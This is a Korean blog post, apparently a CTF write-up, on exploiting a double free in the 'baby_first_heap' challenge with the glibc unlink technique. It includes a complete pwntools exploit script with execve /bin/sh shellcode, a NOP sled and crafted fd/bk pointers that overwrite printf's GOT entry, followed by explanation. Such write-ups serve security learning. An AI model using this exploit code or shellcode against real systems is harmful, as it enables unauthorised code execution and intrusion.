이 문제는 내가 생애 처음 짜보는 힙 익스플로잇 문제이다.
처음에 랜덤으로 malloc size를 할당하지만, for문이 끝난후에 260바이트만큼 다시 힙 메모리가 할당된다.
그리고 free를 연속적으로 실행시키는데 여기서 double free bug가 발생하고 unlink 테크닉을 이용해서 exploit이 가능하다.
malloc.c 에서의 unlink 테크닉인데,
이 부분에서 취약점이 발생한다.
unlink에서 double linked list를 하는 과정에
fd+12 = bk, bk + 8 = fd
이런식이여서 fd와 bk에 shellcode를 실행 시킬수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | p = process("./baby_first_heap") elf = ELF("./baby_first_heap") printf_got = elf.got['printf'] shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" print p.recvuntil("[size=755]") print p.recvuntil("[ALLOC][loc=") heap_ptr = int(p.recvuntil("350"),16) print "[*] Heap PTR: " + hex(heap_ptr) print p.recvuntil("Write to object [size=260]:") pause() payload = p32(0x50eb) payload += "\x90"*100 payload += shellcode payload += "A"*(260-len(payload)) payload += p32(1) payload += p32(printf_got - 8) payload += p32(heap_ptr) p.sendline(payload) print payload p.interactive() | cs |
먼저 exploit code인데
prev_inuse 가 0일때 free하면 이전 청크와 병합을 하기때문에
prev_inuse를 1로 만들어서 이전 청크와 병합을 끊는다.
그리고 printf_got - 8 을 하게되면 printf_got에 heap_memory를 쓸수 있기때문에
printf_got - 8 을 하고 쉘코드, nop을 넣게되면 이게 변조된다 그래서 jmp 명령어를 추가시키면 shellcode가 실행됨!
printf@got = heap_memory
heap_memory + 4 = printf@got + 8
이렇게 이해하면 편할거 같다.
'Hacking > Pwn' 카테고리의 다른 글
Lord Of Buffer Over Flow - Gremlin -> Cobolt (0) | 2017.10.19 |
---|---|
Lord Of Buffer Over Flow - Gate ->Gremlin (0) | 2017.10.18 |
힙을 gdb로 살펴보자! (0) | 2017.10.02 |
Pwnable.kr - echo1 (0) | 2017.10.01 |
Pwnable.kr - cmd1 (0) | 2017.10.01 |